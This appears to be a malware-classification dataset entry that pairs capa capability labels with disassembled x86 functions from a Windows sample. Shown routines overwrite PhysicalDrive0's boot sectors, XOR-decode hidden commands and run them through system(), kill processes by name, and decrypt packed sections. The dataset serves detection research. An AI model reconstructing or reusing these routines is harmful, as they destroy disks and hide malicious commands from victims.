joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4432d0
Capabilities:
Delete file
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x4896d0]
xor eax, eax
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x24], 0x4105185b
movaps xmm0, xmmword [0x489ba0]
movups xmmword [ebp - 0x44], xmm0
mov byte [ebp - 0x20], 0
movaps xmm0, xmmword [0x489510]
movups xmmword [ebp - 0x34], xmm0
nop
mov cl, byte [ebp - 0x54]
xor byte [ebp + eax - 0x53], cl
inc eax
cmp eax, 0x33
jb 0x443310
xorps xmm0, xmm0
mov byte [ebp - 0x20], 0
lea ecx, [ebp - 0x53]
mov dword [ebp - 0xc], 0
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 8], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x443340
sub ecx, edx
lea eax, [ebp - 0x53]
push ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00468c60
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [ebp - 8]
add esp, 4
cmp ecx, 0x10
jb 0x4433a1
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443397
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x443397
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004733de
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
ret

Function at 0x4433b0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push esi
push edi
mov edi, ecx
mov edx, 0x811c9dc5
mov esi, dword [edi + 0x10]
cmp esi, 4
jbe 0x4433c8
mov esi, 4
jmp 0x4433cc
test esi, esi
je 0x443401
xor ecx, ecx
cmp dword [edi + 0x14], 0x10
jb 0x4433f0
mov edi, dword [edi]
movsx eax, byte [edi + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x4433d6
pop edi
mov eax, edx
pop esi
ret
movsx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x4433f0
pop edi
mov eax, edx
pop esi
ret

Function at 0x443410
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
mov dword [ebp - 4], ebx
mov edx, 0x811c9dc5
mov esi, dword [edi + 0x10]
cmp esi, 4
jbe 0x443434
mov esi, 4
jmp 0x443438
test esi, esi
je 0x443474
xor ecx, ecx
cmp dword [edi + 0x14], 0x10
jb 0x443463
mov edi, dword [edi]
movsx eax, byte [edi + ecx]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x443442
mov ecx, ebx
call fcn.0043c330
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
movsx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x443463
mov ecx, ebx
call fcn.0043c330
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44ad10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x200
push 0x47dcf0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00472e83
mov esp, ebp
pop ebp
ret
Function at 0x44c230
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x4952cc]
cmp eax, 0x9f
jne 0x44c300
movaps xmm0, xmmword [0x489e50]
xor ecx, ecx
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x30], 0x343c2b3e
movaps xmm0, xmmword [0x48a550]
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x2c], 0x6e68686e
movaps xmm0, xmmword [0x48b9e0]
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x28], 0x3a27362b
movaps xmm0, xmmword [0x489cd0]
movups xmmword [ebp - 0x60], xmm0
mov byte [ebp - 0x24], 0
movaps xmm0, xmmword [0x489d80]
movups xmmword [ebp - 0x50], xmm0
movaps xmm0, xmmword [0x489f50]
movups xmmword [ebp - 0x40], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x90]
xor byte [ebp + ecx - 0x8f], al
inc ecx
cmp ecx, 0x6b
jb 0x44c2c0
lea eax, [ebp - 0x8f]
mov byte [ebp - 0x24], 0
push eax
lea ecx, [ebp - 0x1c]
call fcn.004666f0
lea ecx, [ebp - 0x1c]
call fcn.00466330
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
cmp eax, 0xa0
jne 0x44c388
movaps xmm0, xmmword [0x48b450]
xor ecx, ecx
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x30], 0x70786f7a
movaps xmm0, xmmword [0x48b750]
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x2c], 0x2a2c2c2a
movaps xmm0, xmmword [0x48a660]
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x28], 0x7e63726f
movaps xmm0, xmmword [0x48b2e0]
movups xmmword [ebp - 0x60], xmm0
mov byte [ebp - 0x24], 0
movaps xmm0, xmmword [0x48b1b0]
movups xmmword [ebp - 0x50], xmm0
movaps xmm0, xmmword [0x48b480]
movups xmmword [ebp - 0x40], xmm0
nop dword [eax + eax]
mov al, byte [ebp - 0x90]
xor byte [ebp + ecx - 0x8f], al
inc ecx
cmp ecx, 0x6b
jb 0x44c370
jmp 0x44c2d3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
ret
Function at 0x44cbc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x8000
push 0x47def0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00472e83
mov esp, ebp
pop ebp
ret
Function at 0x450120
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 2
mov dword [ebp - 0x134], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4501f5
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x4501f5
mov eax, esi
lea ecx, [ebp - 0x10c]
nop word [eax + eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4501b0
test dl, dl
je 0x4501ac
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4501b0
add ecx, 2
add eax, 2
test dl, dl
jne 0x450190
xor eax, eax
jmp 0x4501b5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4501e3
push dword [ebp - 0x128]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x4501d1
push edi
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [ebp - 0x134]
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x450182
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00472e83
mov esp, ebp
pop ebp
ret
Function at 0x465190
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x4651bc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x4651e4
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x4651ea
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x465252
jg 0x465201
test esi, esi
je 0x465252
test ecx, ecx
jl 0x46524d
jg 0x46520b
test eax, eax
je 0x46524d
cmp edi, ecx
jg 0x46521f
jl 0x465215
cmp esi, eax
jae 0x46521f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x465255
mov ecx, dword [ebp + 8]
jmp 0x46525f
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x465279
jg 0x46525f
test esi, esi
je 0x465279
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x465279
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x465290
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
test eax, eax
jg 0x4652bc
jl 0x4652b0
test ecx, ecx
jne 0x4652bc
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x4652d5
push eax
push ecx
push esi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x465323
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 0xc], edx
mov eax, dword [eax]
test eax, eax
je 0x465329
mov edi, dword [ebp - 4]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push edi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [ebp - 4], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp - 4]
jmp 0x465329
lea eax, [ebx + 0x2c]
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x4c], 0
je 0x465396
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x465352
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x465384
nop
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x465396
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x465360
test edi, edi
je 0x465396
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4656e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x465710
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x46574c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x46574c
lea ecx, [edi - 1]
mov eax, ebx
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
pop edi
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x465823
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x465774
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x465780
movsx eax, bl
jmp 0x4657b8
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x4657e2
sub eax, 1
je 0x4657e2
sub eax, 2
jne 0x465823
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x465800
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x465823
lea ecx, [ebp - 0x25]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [ebp - 0x30], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00472e83
mov esp, ebp
pop ebp
ret 4
Function at 0x466c00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x466cbc
cmp byte [esi + 0x3d], 0
je 0x466cbc
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x466caa
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x466c71
sub eax, 1
je 0x466c75
sub eax, 2
jne 0x466caa
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x466c93
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x466caa
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00472e83
mov esp, ebp
pop ebp
ret

Function at 0x4739a3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4739e2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4739e2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4739e2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4739e2
cmp dword [ecx + 0x74], 0xe
jbe 0x4739e2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x7110647f
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x6c6d05c2
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2e782ed6
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6d9e357d
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x43a9f6
Capabilities:
Encode data using xor

Disassembly:
lcall 0x8e54, 0xf9d5edd4
push ebx
fnstsw word ss:[ebp + 0x59]
mov bl, 0xfe
test dh, ch
mul dword [edi + ebx*8]
push ss
test al, 0xcc
fsub st(6)
fcom dword [ecx - 6]
adc byte [edx + 0x5aea97bc], bh
imul ecx, dword [edx], 0x9c8c4684
imul ebx, dword [ebx], 0xffffffd7
xor al, 0x95
adc dh, dl
pop esi
sub eax, 0x770c87
mov dword [0xb410de4d], eax
sub ch, byte [esi]
and dword [edi - 0x1b818e25], esp
sub ch, cl
add al, 0xa0
push ss
jno 0x43aa1d
xchg dh, al
insb byte es:[edi], dx
mov ah, 0x9f
cmc
cmp al, 0xe5
push eax
push esp
test dword [edi], edx
pop ss
nop
push esp
xchg ebp, eax
pop ss
imul ebx, ebx, 0xffffff97
sbb al, 0x23
or al, 0x5f
out dx, eax
je 0x43aa49
mov edx, 0xdd874486
nop
sub ebp, esp
dec ebp
pop es
dec ecx
dec di
inc esp
adc eax, 0xd09b1138
jns 0x43aaea
invalid
cmpsb byte [esi], byte es:[edi]
mov ah, 0xa7
xor ebx, 0x21b9f729
das
lahf
mov dword cs:[0x346c21c3], eax
and ah, byte [esp + edx*8 - 0x5b]
cmp edi, dword [ebx + 3]
invalid

Function at 0x43af95
Capabilities:
Encode data using base64

Disassembly:
aaa
sub dword [edi + 0x340ccdd6], eax
cmc
jl 0x43af7e
stosb byte es:[edi], al
pop eax
outsb dx, byte [esi]
push ds
add dh, byte [edx - 0x3d]
xor al, 0xae
int3
or byte [ecx + edi*2], bh
sbb dh, byte [edi + 0x38]
xor dword [eax + 0x9c8f13b], ebx
push edi
outsb dx, byte [esi]
pop esp
sub eax, 0x68aa7f49
lcall 0xceb9, 0x78103e72
or byte [ebp + esi*2 - 0x7b], dh
stosd dword es:[edi], eax
jae 0x43aff1
lodsd eax, dword [esi]
in al, dx
mov word [eax + ecx*8 - 0x51], ss
clc
pop ds
stc
cmp dword [edi], esi
jl 0x43afed
xchg esi, eax
cmp cl, byte [eax + 0x1d68f4c4]
mov bh, byte [edi + ebp*4 - 0x60]
mov byte [eax], cl
push 0x747c85dc
je 0x43af4d
adc al, 0xbc
jno 0x43b017
pop eax
jo 0x43af76
and byte [eax], bl
les esi, [edi + 0x5be9b31c]
or byte [eax + 0x1b], cl
jle 0x43af35
mov word [ecx], fs
movq qword [ebp + ecx - 0x506131f6], mm2
and eax, 0xa4a6c515
pop ecx
inc ebp
cli
cwde
add ah, byte [ebp + 0x67]
xchg byte [eax - 0x3f], ch
scasb al, byte es:[edi]
adc al, 0x2d
mov al, byte [0x5d8b2680]
imul esp, dword [edi - 0xe832384], 0xdde2cfec
shr byte [ebx - 0x6ac01c3a], 1
cld
xchg byte [eax + edi*4], bl
adc ch, byte [edx + 0x51d31d00]
stosb byte es:[edi], al
fst st(0)
stosd dword es:[edi], eax
invalid
mov eax, 0x1d00aa12
rcl dword [ecx - 0x56], cl
adc esi, eax
inc ebx
dec ebp
inc ebx
or eax, dword [ebx - 0x1e]
out dx, eax
inc ebx
loop 0x43afdf
std
in eax, dx
loopne 0x43b03e
loopne 0x43af7e
loopne 0x43b042
sbb al, 0x45
sbb al, 0x4f
int3
loopne 0x43afd5
loopne 0x43b085
ror dword [eax], 0x3d
xor ah, byte [edx - 0x43a9f6a3]
jg 0x43b04a
mov esp, 0xfd3ffd7f
aas
std
inc ebx
adc dword [edx + 0x43fd5b97], 0x923a43fd
loope 0x43b0ba
cmp eax, 0x479efc83
xchg ebp, eax
loopne 0x43b0e3
std
pop esi
cmp eax, 0x605e38f3
invalid
mov fs, eax
nop
or al, 0xbe
jge 0x43b0dc
dec ebx
dec esp
imul ebp, edi, 0xefdaed8d
arpl dx, sp
arpl dx, sp
cdq
loop 0x43b077
inc ecx
dec eax
loopne 0x43b078
jno 0x43b0d3
out dx, eax
pop ss
inc edi
invalid
Function at 0x453e35
Capabilities:
Encode data using xor

Disassembly:
pushal
xchg ebx, eax
cwde
inc ecx
bound ecx, qword ds:[ebx + ebp]
invalid
outsd dx, dword [esi]
mov byte [0xbc236806], al
pop ebx
or byte [ecx], bl
loope 0x453da6
fbld tbyte [eax + 0x6b]
clc
push dword [edx]
aaa
sahf
mov cl, 0x43
std
xor dword [esi + 0x5032a0cd], eax
jle 0x453d8b
int 0xa0
xor dl, byte [eax + 0x7e]
cli
test dword [esi], ebx
xor ah, byte [eax + 0x69]
loop 0x453d5a
ret 0x16f5
cmc
push ss
rcl byte [esi + 0x4e]
push 0xffffffffffffff96
sub al, 0x56
enter 0x3086, 0xffffffffffffffb9
cmp dl, byte [esi + 0x31103f22]
xchg esi, eax
and bh, byte [edi]
adc byte [ecx], dh
adc dh, byte [ecx - 0x4e76b9f8]
cmp esi, dword [ebp + 0x35]
mov edi, 0x670a1312
jp 0x453dbd
add al, 0xee
push ebx
add al, 0x43
rcr byte [edx - 0x33f6ef70], 0x73
mov edx, 0xd2189b00
sti
invalid
or esp, ecx
jae 0x453d82
add byte [ebx - 0x38042de8], bl
fcom dword [ebx - 0x6f]
inc edx
mov es, word [edx]
jno 0x453d73
int1
pushal
mov bh, 0x50
mul dword [esi + edi*2 - 0x21]
xor dword [esi + 0x70644fed], esp
inc edx
jge 0x453d97
mov bh, 0xb5
xor edx, dword [edi + 0x1205403f]
jb 0x453dc4
daa
pop ebx
in eax, 0xd8
push eax
dec esi
sub edi, dword [esi + ebp*8 + 0x35]
jo 0x453dce
mov ecx, 0x95c6e05e
pop esi
loopne 0x453dc8
xchg ebp, eax
jb 0x453e49
xor ah, dh
xchg ebp, eax
mov al, byte [0x40d1514a]
out 0xfe, eax
aam 0x6f
xchg ebp, eax
jle 0x453e56
push ebp
mov al, byte [0xdf133250]
xchg ebx, eax
fidivr word [edx + 0x6952aaa8]
dec ebp
test dword [eax + edx*2 - 0x6d76c5c5], ebx
jb 0x453e43
xchg edi, eax
lodsb al, byte [esi]
rcr dword [ecx], 0xb0
int 0xcf
push ebx
je 0x453e71
invalid
cmp ebp, dword [esi + 0x3b3a1147]
popal
jo 0x453e2b
scasb al, byte es:[edi]
inc edi
adc dword [edx], edi
cmp esp, dword [ecx + 0x70]
in eax, dx
salc
xchg edx, eax
xor dl, bl
pop es
mov eax, 0xb3372a17
sti
add dword [ecx], esp
mov dword [edi - 0x4e124712], esp
fisttp word [eax + 0x14]
jae 0x453e72
out 0xc6, eax
sub ch, byte [bp + si + 0x6cfa]
ja 0x453e71
insd dword es:[edi], dx
dec ebp
cli
jne 0x453e80
sbb al, 0xd6
xor al, 0xde
jge 0x453e64
